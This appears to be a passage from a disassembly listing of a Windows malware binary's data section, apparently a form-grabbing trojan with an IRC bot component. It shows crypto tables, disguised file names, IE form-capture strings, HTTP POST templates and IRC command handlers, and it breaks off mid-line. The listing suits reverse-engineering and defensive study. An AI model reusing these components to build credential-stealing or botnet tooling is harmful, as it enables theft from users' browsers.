38850F56h, 358C015Dh, 22971340h dd 2F9E1D4Bh, 64E94722h, 69E04929h, 7EFB5B34h, 73F2553Fh dd 50CD7F0Eh, 5DC47105h, 4ADF6318h, 47D66D13h, 0DC31D7CAh dd 0D138D9C1h, 0C623CBDCh, 0CB2AC5D7h, 0E815EFE6h, 0E51CE1EDh dd 0F207F3F0h, 0FF0EFDFBh, 0B479A792h, 0B970A999h, 0AE6BBB84h dd 0A362B58Fh, 805D9FBEh, 8D5491B5h, 9A4F83A8h, 97468DA3h dd 0 dd 90E0B0Dh, 121C161Ah, 1B121D17h, 24382C34h, 2D362739h dd 36243A2Eh, 3F2A3123h, 48705868h, 417E5365h, 5A6C4E72h dd 5362457Fh, 6C48745Ch, 65467F51h, 7E546246h, 775A694Bh dd 90E0B0D0h, 99EEBBDDh, 82FCA6CAh, 8BF2ADC7h, 0B4D89CE4h dd 0BDD697E9h, 0A6C48AFEh, 0AFCA81F3h, 0D890E8B8h, 0D19EE3B5h dd 0CA8CFEA2h, 0C382F5AFh, 0FCA8C48Ch, 0F5A6CF81h, 0EEB4D296h dd 0E7BAD99Bh, 3BDB7BBBh, 32D570B6h, 29C76DA1h, 20C966ACh dd 1FE3578Fh, 16ED5C82h, 0DFF4195h, 4F14A98h, 73AB23D3h dd 7AA528DEh, 61B735C9h, 68B93EC4h, 57930FE7h, 5E9D04EAh dd 458F19FDh, 4C8112F0h, 0AB3BCB6Bh, 0A235C066h, 0B927DD71h dd 0B029D67Ch, 8F03E75Fh, 860DEC52h, 9D1FF145h, 9411FA48h dd 0E34B9303h, 0EA45980Eh, 0F1578519h, 0F8598E14h, 0C773BF37h dd 0CE7DB43Ah, 0D56FA92Dh, 0DC61A220h, 76ADF66Dh, 7FA3FD60h dd 64B1E077h, 6DBFEB7Ah, 5295DA59h, 5B9BD154h, 4089CC43h dd 4987C74Eh, 3EDDAE05h, 37D3A508h, 2CC1B81Fh, 25CFB312h dd 1AE58231h, 13EB893Ch, 8F9942Bh, 1F79F26h, 0E64D46BDh dd 0EF434DB0h, 0F45150A7h, 0FD5F5BAAh, 0C2756A89h, 0CB7B6184h dd 0D0697C93h, 0D967779Eh, 0AE3D1ED5h, 0A73315D8h, 0BC2108CFh dd 0B52F03C2h, 8A0532E1h, 830B39ECh, 981924FBh, 91172FF6h dd 4D768DD6h, 447886DBh, 5F6A9BCCh, 566490C1h, 694EA1E2h dd 6040AAEFh, 7B52B7F8h, 725CBCF5h, 506D5BEh, 0C08DEB3h dd 171AC3A4h, 1E14C8A9h, 213EF98Ah, 2830F287h, 3322EF90h dd 3A2CE49Dh, 0DD963D06h, 0D498360Bh, 0CF8A2B1Ch, 0C6842011h dd 0F9AE1132h, 0F0A01A3Fh, 0EBB20728h, 0E2BC0C25h, 95E6656Eh dd 9CE86E63h, 87FA7374h, 8EF47879h, 0B1DE495Ah, 0B8D04257h dd 0A3C25F40h, 0AACC544Dh, 0EC41F7DAh, 0E54FFCD7h, 0FE5DE1C0h dd 0F753EACDh, 0C879DBEEh, 0C177D0E3h, 0DA65CDF4h, 0D36BC6F9h dd 0A431AFB2h, 0AD3FA4BFh, 0B62DB9A8h, 0BF23B2A5h, 80098386h dd 8907888Bh, 9215959Ch, 9B1B9E91h, 7CA1470Ah, 75AF4C07h dd 6EBD5110h, 67B35A1Dh, 58996B3Eh, 51976033h, 4A857D24h dd 438B7629h, 34D11F62h, 3DDF146Fh, 26CD0978h, 2FC30275h dd 10E93356h, 19E7385Bh, 2F5254Ch, 0BFB2E41h, 0D79A8C61h dd 0DE94876Ch, 0C5869A7Bh, 0CC889176h, 0F3A2A055h, 0FAACAB58h dd 0E1BEB64Fh, 0E8B0BD42h, 9FEAD409h, 96E4DF04h, 8DF6C213h dd 84F8C91Eh, 0BBD2F83Dh, 0B2DCF330h, 0A9CEEE27h, 0A0C0E52Ah dd 477A3CB1h, 4E7437BCh, 55662AABh, 5C6821A6h, 63421085h dd 6A4C1B88h, 715E069Fh, 78500D92h, 0F0A64D9h, 6046FD4h dd 1D1672C3h, 141879CEh, 2B3248EDh, 223C43E0h, 392E5EF7h dd 302055FAh, 9AEC01B7h, 93E20ABAh, 88F017ADh, 81FE1CA0h dd 0BED42D83h, 0B7DA268Eh, 0ACC83B99h, 0A5C63094h, 0D29C59DFh dd 0DB9252D2h, 0C0804FC5h, 0C98E44C8h, 0F6A475EBh, 0FFAA7EE6h dd 0E4B863F1h, 0EDB668FCh, 0A0CB167h, 302BA6Ah, 1810A77Dh dd 111EAC70h, 2E349D53h, 273A965Eh, 3C288B49h, 35268044h dd 427CE90Fh, 4B72E202h, 5060FF15h, 596EF418h, 6644C53Bh dd 6F4ACE36h, 7458D321h, 7D56D82Ch, 0A1377A0Ch, 0A8397101h dd 0B32B6C16h, 0BA25671Bh, 850F5638h, 8C015D35h, 97134022h dd 9E1D4B2Fh, 0E9472264h, 0E0492969h, 0FB5B347Eh, 0F2553F73h dd 0CD7F0E50h, 0C471055Dh, 0DF63184Ah, 0D66D1347h, 31D7CADCh dd 38D9C1D1h, 23CBDCC6h, 2AC5D7CBh, 15EFE6E8h, 1CE1EDE5h dd 7F3F0F2h, 0EFDFBFFh, 79A792B4h, 70A999B9h, 6BBB84AEh dd 62B58FA3h, 5D9FBE80h, 5491B58Dh, 4F83A89Ah, 468DA397h dd 0 dd 0E0B0D09h, 1C161A12h, 121D171Bh, 382C3424h, 3627392Dh dd 243A2E36h, 2A31233Fh, 70586848h, 7E536541h, 6C4E725Ah dd 62457F53h, 48745C6Ch, 467F5165h, 5462467Eh, 5A694B77h dd 0E0B0D090h, 0EEBBDD99h, 0FCA6CA82h, 0F2ADC78Bh, 0D89CE4B4h dd 0D697E9BDh, 0C48AFEA6h, 0CA81F3AFh, 90E8B8D8h, 9EE3B5D1h dd 8CFEA2CAh, 82F5AFC3h, 0A8C48CFCh, 0A6CF81F5h, 0B4D296EEh dd 0BAD99BE7h, 0DB7BBB3Bh, 0D570B632h, 0C76DA129h, 0C966AC20h dd 0E3578F1Fh, 0ED5C8216h, 0FF41950Dh, 0F14A9804h, 0AB23D373h dd 0A528DE7Ah, 0B735C961h, 0B93EC468h, 930FE757h, 9D04EA5Eh dd 8F19FD45h, 8112F04Ch, 3BCB6BABh, 35C066A2h, 27DD71B9h dd 29D67CB0h, 3E75F8Fh, 0DEC5286h, 1FF1459Dh, 11FA4894h dd 4B9303E3h, 45980EEAh, 578519F1h, 598E14F8h, 73BF37C7h dd 7DB43ACEh, 6FA92DD5h, 61A220DCh, 0ADF66D76h, 0A3FD607Fh dd 0B1E07764h, 0BFEB7A6Dh, 95DA5952h, 9BD1545Bh, 89CC4340h dd 87C74E49h, 0DDAE053Eh, 0D3A50837h, 0C1B81F2Ch, 0CFB31225h dd 0E582311Ah, 0EB893C13h, 0F9942B08h, 0F79F2601h, 4D46BDE6h dd 434DB0EFh, 5150A7F4h, 5F5BAAFDh, 756A89C2h, 7B6184CBh dd 697C93D0h, 67779ED9h, 3D1ED5AEh, 3315D8A7h, 2108CFBCh dd 2F03C2B5h, 532E18Ah, 0B39EC83h, 1924FB98h, 172FF691h dd 768DD64Dh, 7886DB44h, 6A9BCC5Fh, 6490C156h, 4EA1E269h dd 40AAEF60h, 52B7F87Bh, 5CBCF572h, 6D5BE05h, 8DEB30Ch dd 1AC3A417h, 14C8A91Eh, 3EF98A21h, 30F28728h, 22EF9033h dd 2CE49D3Ah, 963D06DDh, 98360BD4h, 8A2B1CCFh, 842011C6h dd 0AE1132F9h, 0A01A3FF0h, 0B20728EBh, 0BC0C25E2h, 0E6656E95h dd 0E86E639Ch, 0FA737487h, 0F478798Eh, 0DE495AB1h, 0D04257B8h dd 0C25F40A3h, 0CC544DAAh, 41F7DAECh, 4FFCD7E5h, 5DE1C0FEh dd 53EACDF7h, 79DBEEC8h, 77D0E3C1h, 65CDF4DAh, 6BC6F9D3h dd 31AFB2A4h, 3FA4BFADh, 2DB9A8B6h, 23B2A5BFh, 9838680h dd 7888B89h, 15959C92h, 1B9E919Bh, 0A1470A7Ch, 0AF4C0775h dd 0BD51106Eh, 0B35A1D67h, 996B3E58h, 97603351h, 857D244Ah dd 8B762943h, 0D11F6234h, 0DF146F3Dh, 0CD097826h, 0C302752Fh dd 0E9335610h, 0E7385B19h, 0F5254C02h, 0FB2E410Bh, 9A8C61D7h dd 94876CDEh, 869A7BC5h, 889176CCh, 0A2A055F3h, 0ACAB58FAh dd 0BEB64FE1h, 0B0BD42E8h, 0EAD4099Fh, 0E4DF0496h, 0F6C2138Dh dd 0F8C91E84h, 0D2F83DBBh, 0DCF330B2h, 0CEEE27A9h, 0C0E52AA0h dd 7A3CB147h, 7437BC4Eh, 662AAB55h, 6821A65Ch, 42108563h dd 4C1B886Ah, 5E069F71h, 500D9278h, 0A64D90Fh, 46FD406h dd 1672C31Dh, 1879CE14h, 3248ED2Bh, 3C43E022h, 2E5EF739h dd 2055FA30h, 0EC01B79Ah, 0E20ABA93h, 0F017AD88h, 0FE1CA081h dd 0D42D83BEh, 0DA268EB7h, 0C83B99ACh, 0C63094A5h, 9C59DFD2h dd 9252D2DBh, 804FC5C0h, 8E44C8C9h, 0A475EBF6h, 0AA7EE6FFh dd 0B863F1E4h, 0B668FCEDh, 0CB1670Ah, 2BA6A03h, 10A77D18h dd 1EAC7011h, 349D532Eh, 3A965E27h, 288B493Ch, 26804435h dd 7CE90F42h, 72E2024Bh, 60FF1550h, 6EF41859h, 44C53B66h dd 4ACE366Fh, 58D32174h, 56D82C7Dh, 377A0CA1h, 397101A8h dd 2B6C16B3h, 25671BBAh, 0F563885h, 15D358Ch, 13402297h dd 1D4B2F9Eh, 472264E9h, 492969E0h, 5B347EFBh, 553F73F2h dd 7F0E50CDh, 71055DC4h, 63184ADFh, 6D1347D6h, 0D7CADC31h dd 0D9C1D138h, 0CBDCC623h, 0C5D7CB2Ah, 0EFE6E815h, 0E1EDE51Ch dd 0F3F0F207h, 0FDFBFF0Eh, 0A792B479h, 0A999B970h, 0BB84AE6Bh dd 0B58FA362h, 9FBE805Dh, 91B58D54h, 83A89A4Fh, 8DA39746h aDelete db 'Delete',0 ; DATA XREF: .text:0042AAB4o ; .text:0042AAD4o ... align 10h aNoremove db 'NoRemove',0 ; DATA XREF: .text:0042AAB0o ; .text:0042AAD0o ... align 4 aForceremove db 'ForceRemove',0 ; DATA XREF: .text:0042AAACo ; .text:0042AACCo ... aVal db 'Val',0 ; DATA XREF: .text:0042AAA8o ; .text:0042AAC8o ... aB: ; DATA XREF: .text:0042AAA4o ; .text:0042AAC4o ... unicode 0, <B>,0 aD_0: ; DATA XREF: .text:0042AAA0o ; .text:0042AAC0o ... unicode 0, <D>,0 aM: ; DATA XREF: .text:0042AA9Co ; .text:0042AABCo ... unicode 0, <M>,0 aS_0: ; DATA XREF: sub_408CB7+107o ; sub_408F96+212o ... unicode 0, <S>,0 aVirtualprotect db 'VirtualProtect',0 ; DATA XREF: sub_402AC9+4CEo ; sub_402AC9+4E4o align 4 aGetprocaddress db 'GetProcAddress',0 ; DATA XREF: sub_402AC9+478o ; sub_402AC9+48Eo align 4 aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_402AC9+422o ; sub_402AC9+438o align 4 aKernel32_dll db 'Kernel32.dll',0 ; DATA XREF: sub_402AC9+3C6o ; sub_402AC9+3E2o align 4 a_data db '.data',0 ; DATA XREF: sub_402AC9+203o align 8 a_rdata db '.rdata',0 ; DATA XREF: sub_402AC9+1CFo align 10h dd 0 dword_42FD64 dd 7865742Eh, 74h, 0 ; DATA XREF: sub_402AC9+191o aSkps db 'skps',0 ; DATA XREF: sub_404B8D+64o ; sub_404C05+92o align 4 aSkus db 'skus',0 ; DATA XREF: sub_404B8D+53o ; sub_404C05+78o align 10h aSkpt db 'skpt',0 ; DATA XREF: sub_404B8D+3Fo ; sub_404C05+4Eo align 4 aSkvr db 'skvr',0 ; DATA XREF: sub_404B8D+2Do ; sub_404C05+3Bo align 10h aSkst db 'skst',0 ; DATA XREF: sub_404B8D+1Bo ; sub_404C05+19o align 4 aMvwatvx_exe db 'mvwatvx.exe',0 ; DATA XREF: sub_404B0D+24o ; sub_4142D6+288o ... aPerfc012_dat db 'perfc012.dat',0 ; DATA XREF: sub_404ADB+20o align 4 aFntcache_bin db 'FNTCACHE.BIN',0 ; DATA XREF: sub_404AA9+20o align 4 asc_42FDC4: ; DATA XREF: sub_404AA9+15o ; sub_404ADB+15o ... unicode 0, <\>,0 aPprt db 'pprt',0 ; DATA XREF: sub_4048C1+1Eo align 10h a_2x db '%.2X',0 ; DATA XREF: sub_404869+29o align 4 aUuid db 'uuid',0 ; DATA XREF: sub_4047DC+1Ao align 10h aSoftwareGnu db 'SOFTWARE\GNU',0 ; DATA XREF: sub_4047DC+8o ; sub_4048C1+Co ... align 10h a_: ; DATA XREF: sub_41646A+3Do ; sub_41646A:loc_416571o ... unicode 0, <.>,0 aXXX db '%X %X %X',0 ; DATA XREF: sub_404E2C+24o align 10h asc_42FE00: ; DATA XREF: sub_405123+319o ; .text:004350E0o unicode 0, <`>,0 dword_42FE04 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_405123+2F1o dword_42FE10 dd 30h ; DATA XREF: sub_405123+2C9o ; .text:0040AF90o ... dword_42FE14 dd 0A1h ; DATA XREF: sub_405123+29Co dword_42FE18 dd 3 ; DATA XREF: sub_405123+247o aCccc db 'CCCC',0 ; DATA XREF: sub_405123+14Ao align 4 loc_42FE24: ; DATA XREF: sub_405123+DCo jmp short near ptr dword_42FE2C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_42FE2C dd 0 ; CODE XREF: .text:loc_42FE24j dword_42FE30 dd 23h ; DATA XREF: sub_4050C4+1Co ; .text:00434C7Co byte_42FE34 db 2 dup(0) ; DATA XREF: sub_404FEB+12o ; sub_40CA30+1AFo ... word_42FE36 dw 0 ; DATA XREF: sub_407466+7Do ; sub_411377+25o ... ; --------------------------------------------------------------------------- loc_42FE38: ; DATA XREF: sub_405771+21Bo jmp short loc_42FE40 ; --------------------------------------------------------------------------- dw 6EBh align 10h loc_42FE40: ; CODE XREF: .text:loc_42FE38j ; DATA XREF: sub_405771+3A9o ... xor eax, 3500312Eh xor cs:[eax], al loc_42FE48: ; DATA XREF: sub_405771+56o pop esp pop esp and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_42FE54 dd 1CEC8166h ; DATA XREF: sub_405771+Fr dword_42FE58 dd 0E4FF07h ; DATA XREF: sub_405771+18r dword_42FE5C dd 0E0483BA0h, 4D9C47FFh, 4177D6A6h, 0F795B1D0h ; DATA XREF: sub_405EF4+2Co dword_42FE6C dd 0CA545C6h, 4A6C37ADh, 769F92BFh, 0F57E0610h ; DATA XREF: sub_405EF4+34o dword_42FE7C dd 0F7898AF5h, 4632CAC4h, 6DAECA2h, 0F21A11E5h ; DATA XREF: sub_405E63+24o dword_42FE8C dd 304CE942h, 40D86E39h, 13B93A94h, 0D49C0CC4h ; DATA XREF: sub_405E63+2Co dword_42FE9C dd 3050F244h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_4060DC+541o dword_42FEAC dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_4060DC+459o dword_42FEBC dd 3050F5D2h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_4060DC+2C2o ; sub_4060DC+52Eo ... off_42FECC dd offset sub_4060B7 ; DATA XREF: sub_40609A+Bo dd offset sub_408B3D dd offset nullsub_3 off_42FED8 dd offset sub_40716D ; DATA XREF: sub_40727Ao sub_427F70+Eo ... dd offset sub_4071D0 dd offset sub_4071DD dd offset sub_4070DE dd offset sub_4070E6 dd offset sub_4070EE dd offset sub_4071F6 aShellDocobject db 'Shell DocObject View',0 ; DATA XREF: sub_406B3F+9Ao align 4 aTabwindowclass db 'TabWindowClass',0 ; DATA XREF: sub_406B3F+7Fo align 4 aCabinetwclass db 'CabinetWClass',0 ; DATA XREF: sub_406B3F+2Co align 4 aIeframe db 'IEFrame',0 ; DATA XREF: sub_406B3F+18o aWm_html_getobj db 'WM_HTML_GETOBJECT',0 ; DATA XREF: sub_406A96+3Eo align 4 aObjectfromlres db 'ObjectFromLresult',0 ; DATA XREF: sub_406A96:loc_406ABFo align 4 aOleacc_dll db 'OLEACC.DLL',0 ; DATA XREF: sub_406A96+15o align 4 asc_42FF68 db 0Dh,0Ah,0 ; DATA XREF: sub_4060DC:loc_4067F0o ; sub_407466:loc_407651o ... align 4 aSS_0 db ' %S = %S',0Dh,0Ah,0 ; DATA XREF: sub_4060DC+620o ; sub_4060DC+6ADo aSTooLong db ' %S = (too long)',0Dh,0Ah,0 ; DATA XREF: sub_4060DC+608o ; sub_4060DC+695o aReset: ; DATA XREF: sub_4060DC+5B2o unicode 0, <reset>,0 aImage: ; DATA XREF: sub_4060DC+59Fo ; sub_406B3F+3C1o unicode 0, <image>,0 aSubmit: ; DATA XREF: sub_4060DC+588o ; sub_406B3F+3AEo unicode 0, <submit>,0 align 4 aSS db ' [%S]',0Dh,0Ah ; DATA XREF: sub_4060DC+414o db '<%S>',0Dh,0Ah,0 align 4 aA: ; DATA XREF: sub_4060DC+3C8o ; .text:00434CE8o unicode 0, <a>,0 aNull_0: ; DATA XREF: sub_4060DC+339o ; sub_4060DC+34Bo ... unicode 0, <(null)>,0 align 4 aInternetExplor db 'Internet Explorer_Server',0 ; DATA XREF: sub_4060DC+2Bo ; sub_406B3F+B5o align 4 asc_42FFF4: ; DATA XREF: .text:00408355o ; .text:00434BE0o ... unicode 0, < >,0 aDec db 'Dec',0 ; DATA XREF: .text:004339FCo aNov db 'Nov',0 ; DATA XREF: .text:004339F8o aOct db 'Oct',0 ; DATA XREF: .text:004339F4o aSep db 'Sep',0 ; DATA XREF: .text:004339F0o aAug db 'Aug',0 ; DATA XREF: .text:004339ECo aJul db 'Jul',0 ; DATA XREF: .text:004339E8o aJun db 'Jun',0 ; DATA XREF: .text:004339E4o aMay db 'May',0 ; DATA XREF: .text:004339E0o ; .text:00433A10o aApr db 'Apr',0 ; DATA XREF: .text:004339DCo aMar db 'Mar',0 ; DATA XREF: .text:004339D8o aFeb db 'Feb',0 ; DATA XREF: .text:004339D4o aJan db 'Jan',0 ; DATA XREF: .text:004339D0o aA_0: ; DATA XREF: .text:00434CECo unicode 0, <A>,0 aI: ; DATA XREF: .text:00434D28o unicode 0, <i>,0 aI_0: ; DATA XREF: .text:00434D2Co unicode 0, <I>,0 asc_430034: ; DATA XREF: .text:0040AEC5o ; .text:004350C0o unicode 0, <,>,0 asc_430038: ; DATA XREF: sub_407779:loc_40779Ao ; sub_410FAD:loc_411050o ... unicode 0, </>,0 aNull_1: ; DATA XREF: .text:00407B1Do ; .text:0040822Co ... unicode 0, <null>,0 align 4 off_430048 dd offset sub_4153A7 ; DATA XREF: sub_407431+Bo dd offset sub_407445 dd offset nullsub_3 dd offset sub_407C12 dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 off_43006C dd offset loc_407AFA ; DATA XREF: sub_407A31+21o ; sub_407ACB+6o dd offset sub_407AAF dd offset nullsub_3 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_407C12+9Co db 'Content-Length: %d',0Dh,0Ah db 'Content-Type: application/octet-stream',0Dh,0Ah db 'Content-Disposition: filename=%s',0Dh,0Ah db 0Dh,0Ah,0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_407949+73o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h aTemp db 'TEMP',0 ; DATA XREF: sub_4077BF+19o ; sub_40F1FC+13o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_407779+3o aChunked db 'chunked',0 ; DATA XREF: sub_407466+1D3o aTransferEncodi db 'Transfer-Encoding',0 ; DATA XREF: sub_407466:loc_40761Bo align 4 aContentLength db 'Content-Length',0 ; DATA XREF: sub_407466+18Bo align 4 asc_43015C: ; DATA XREF: sub_407466:loc_4075DBo ; .text:loc_40833Bo ... unicode 0, <:>,0 aSSHttp1_1HostS db '%s /%s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_407466+E3o db 'Host: %s',0Dh,0Ah db 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV' db '1; .NET CLR 2.0.50727)',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0 align 4 aPost db 'POST',0 ; DATA XREF: sub_407466+D1o align 4 aGet db 'GET',0 ; DATA XREF: sub_407466+CAo aContentLengthD db 'Content-Length: %d',0Dh,0Ah ; DATA XREF: sub_407466+95o db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah,0 align 10h off_430230 dd offset sub_407EE6 ; DATA XREF: sub_407EBB+Do dd offset sub_408B3D dd offset nullsub_3 off_43023C dd offset loc_4081E6 ; DATA XREF: sub_40805D+22o ; sub_40818D+3o dd offset sub_408171 dd offset nullsub_3 dword_430248 dd 54495551h, 73253A20h, 0A0Dh ; DATA XREF: sub_408A6A+Bo aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408A3E+15o align 4 aCn db 'cn',0 ; DATA XREF: sub_40892A+DCo align 4 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0 ; DATA XREF: .text:004088D1o aUserSSS db 'USER %s "" "%s" :%s',0Dh,0Ah,0 ; DATA XREF: .text:004087A2o align 10h dword_4302A0 dd 49544F4Eh, 25204543h, 13A2073h, 0D017325h, 0Ah ; DATA XREF: .text:00408749o aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .text:00408741o align 4 aVersion db 'VERSION',0 ; DATA XREF: .text:0040872Co off_4302DC dd offset byte_46464F ; DATA XREF: .text:loc_40868Fo aThis db 'this',0 ; DATA XREF: .text:0040864Do align 4 aNotify db 'notify:',0 ; DATA XREF: .text:loc_40860Eo aAddlink db 'addlink:',0 ; DATA XREF: .text:loc_4085DEo align 4 aNick db 'nick:',0 ; DATA XREF: .text:loc_408580o align 4 aS_1 db '%s',0Dh,0Ah,0 ; DATA XREF: .text:0040856Eo align 4 aSendraw db 'sendraw:',0 ; DATA XREF: .text:00408547o align 4 aQuit db 'quit:',0 ; DATA XREF: .text:00408528o align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: .text:loc_4084FBo aError db 'ERROR ',0 ; DATA XREF: .text:loc_4084C3o align 10h aPongS db 'PONG :%s',0Dh,0Ah,0 ; DATA XREF: .text:004084B5o align 4 aPing db 'PING ',0 ; DATA XREF: .text:loc_40849Co align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: .text:0040846Eo ; .text:004085CAo ... align 10h a433 db '433',0 ; DATA XREF: .text:00408442o aJoinS db 'JOIN %s',0Dh,0Ah,0 ; DATA XREF: .text:0040848Do align 10h a422 db '422',0 ; DATA XREF: .text:0040842Fo a376 db '376',0 ; DATA XREF: .text:loc_40841Co a@: ; DATA XREF: .text:00408403o ; .text:00434C74o unicode 0, <@>,0 asc_43036C: ; DATA XREF: .text:004083EEo ; sub_410FAD:loc_41113Do ... unicode 0, <!>,0 aNull_2 db '(null)',0 ; DATA XREF: .text:00408382o ; .text:loc_408389o ... align 4 off_430378 dd offset loc_408B59 ; DATA XREF: sub_408B23+Bo dd offset sub_408B3D dd offset nullsub_3 dword_430384 dd 7325h ; DATA XREF: .text:00408C7Ao ; .text:0040AF0Ao dword_430388 dd 20202020h, 5D73255Bh, 0A0Dh ; DATA XREF: .text:00408C4Fo dword_430394 dd 0A0D0A0Dh, 0 ; DATA XREF: .text:00408C38o dd 22h, 27h dword_4303A4 dd 7Dh, 5Dh, 7Bh, 5Bh ; DATA XREF: sub_411299+3Co ; .text:004351BCo ... dword_4303B4 dd 7Eh, 3Fh ; DATA XREF: sub_410FAD:loc_4110F8o ; .text:004350E4o ... dword_4303BC dd 3Eh, 5Fh ; DATA XREF: sub_410FAD:loc_411167o ; .text:004350D4o ... dword_4303C4 dd 3Dh, 3Bh ; DATA XREF: sub_410FADo ; .text:004350B8o ... dword_4303CC dd 2Dh ; DATA XREF: sub_410FAD:loc_410FD8o ; sub_41646A:loc_41651Eo ... dword_4303D0 dd 7Ch ; DATA XREF: .text:0040A75Eo ; sub_410FAD:loc_4110C8o ... dword_4303D4 dd 2Bh, 5Ah, 7Ah, 59h, 79h, 58h, 78h, 57h, 77h, 56h, 76h ; DATA XREF: sub_410FAD:loc_410FC0o ; .text:00434E38o ... dd 55h, 75h, 54h, 74h, 73h, 52h, 72h, 51h, 71h dword_430424 dd 50h, 70h, 4Fh, 6Fh, 4Eh, 6Eh, 6Dh ; DATA XREF: sub_408CB7:loc_408E08o ; sub_408F96+234o ... dword_430440 dd 4Ch, 6Ch, 4Bh, 6Bh, 4Ah, 6Ah, 48h, 68h, 47h, 67h ; DATA XREF: sub_408CB7:loc_408E2Do ; sub_408F96+248o ... dword_430468 dd 46h, 66h, 45h, 65h, 64h, 43h, 63h, 62h, 28h, 39h ; DATA XREF: sub_408CB7:loc_408DE3o ; sub_408F96+223o ... dword_430490 dd 2Ah, 38h ; DATA XREF: sub_410FAD:loc_411038o ; sub_41646A:loc_416504o ... dword_430498 dd 26h, 37h ; DATA XREF: sub_410FAD:loc_4110B0o ; .text:00434C9Co ... dword_4304A0 dd 5Eh, 36h ; DATA XREF: sub_410FAD:loc_4110E0o ; .text:00434C94o ... dword_4304A8 dd 25h, 35h, 24h, 34h ; DATA XREF: sub_410FAD:loc_411068o ; .text:00434C8Co ... dword_4304B8 dd 33h ; DATA XREF: .text:0040A69Bo ; .text:0040ADC3o ... dword_4304BC dd 32h ; DATA XREF: .text:loc_40A68Ao ; sub_40BF38:loc_40C090o ... dword_4304C0 dd 31h, 29h ; DATA XREF: .text:0040A683o ; .text:00434C68o ... dword_4304C8 dd 3Ch ; DATA XREF: sub_410FAD:loc_41117Co ; .text:00434B20o ... aSoftwareGnuDat db 'SOFTWARE\GNU\Data',0 ; DATA XREF: sub_408CB7+82o ; sub_408E9D+Bo ... align 10h aNull db 'null',0 ; DATA XREF: sub_408CB7+30o ; sub_408E9D+6Ao ... align 4 off_4304E8 dd offset sub_4098F3 ; DATA XREF: sub_4098B8+18o dd offset sub_408B3D dd offset nullsub_3 aRichedit20w db 'RichEdit20W',0 ; DATA XREF: sub_4095D4+B9o off_430500 dd offset sub_41D5E9 ; DATA XREF: sub_409A0F+5o ; sub_409A78+7o dd offset sub_41D5E9 dd offset sub_41D5E9 off_43050C dd offset loc_40BA1A ; DATA XREF: sub_40B8D4+25o ; sub_40B9F6+6o dd offset sub_40B9C7 dd offset nullsub_3 off_430518 dd offset sub_40B78B ; DATA XREF: sub_40B74E+1Bo dd offset sub_408B3D dd offset nullsub_3 off_430524 dd offset sub_40B543 ; DATA XREF: sub_40A355+16o dd offset sub_40B45D ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A3h, 40h, 0 off_430530 dd offset sub_4153A7 ; DATA XREF: sub_40C31C+20o ; --------------------------------------------------------------------------- pop edi retn ; --------------------------------------------------------------------------- dw 40h dd offset nullsub_3 dd offset sub_40C4D1 dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 dd offset sub_40C4F9 dd offset sub_40C570 aLocalhost db 'localhost',0 ; DATA XREF: sub_40C14B+23o align 10h a127_ db '127.*',0 ; DATA XREF: sub_40C14B+14o align 4 aDXDSD00 db '%d|%X|%d|%s|%d|0|0',0Dh,0Ah,0 ; DATA XREF: sub_40BF38+114o ; sub_40BF38+197o align 10h aDXDSD01 db '%d|%X|%d|%s|%d|0|1',0Dh,0Ah,0 ; DATA XREF: sub_40BF38+D5o align 4 aPkys db 'pkys',0 ; DATA XREF: sub_40BDE3+26o ; sub_40BDE3+11Ao align 10h aDDS db '%d|%d|%s',0Dh,0Ah,0 ; DATA XREF: .text:0040B0B5o align 4 aDD db '%d|%d|',0 ; DATA XREF: .text:0040AE29o align 4 aDD_0 db '%d|%d',0Dh,0Ah,0 ; DATA XREF: .text:0040A93Ao ; .text:0040AA6Eo ... a21 db '21',0 ; DATA XREF: .text:0040A8DAo ; .text:loc_40A92Ao ... align 10h aDEnd db '%d|END',0Dh,0Ah,0 ; DATA XREF: .text:0040A87Ao align 4 aDS db '%d|%s',0Dh,0Ah,0 ; DATA XREF: .text:0040A868o ; sub_40B78B+10Fo off_4305D4 dd offset byte_444E45 ; DATA XREF: .text:0040A7BEo aUpsn db 'upsn',0 ; DATA XREF: .text:0040AA1Fo ; .text:0040AACCo ... align 10h aUphs db 'uphs',0 ; DATA XREF: .text:0040AA0Eo ; .text:0040B356o align 4 asc_4305E8 db '%X',0 ; DATA XREF: .text:0040A5EBo align 4 aD db '%d',0Dh,0Ah,0 ; DATA XREF: sub_409BDA+288o ; sub_409BDA+3E2o ... align 4 aTest4 db 'Test4',0 ; DATA XREF: sub_409BDA+21Do ; sub_409BDA+4FAo ... align 4 dword_4305FC dd 5C0D0A00h, 2E2F5Fh ; DATA XREF: sub_40C5E6+5Fo off_430604 dd offset sub_40C987 ; DATA XREF: sub_40C85A+1Fo ; sub_40C956+7o dd offset sub_40C93A dd offset nullsub_3 off_430610 dd offset loc_40C742 ; DATA XREF: sub_40C6A4+Co ; sub_40C72B+5o dd offset sub_40C70F dd offset nullsub_3 dword_43061C dd 2E302E30h, 302E30h ; DATA XREF: sub_40CA30+83Bo ; sub_40CA30+8A3o ... off_430624 dd offset sub_40DB56 ; DATA 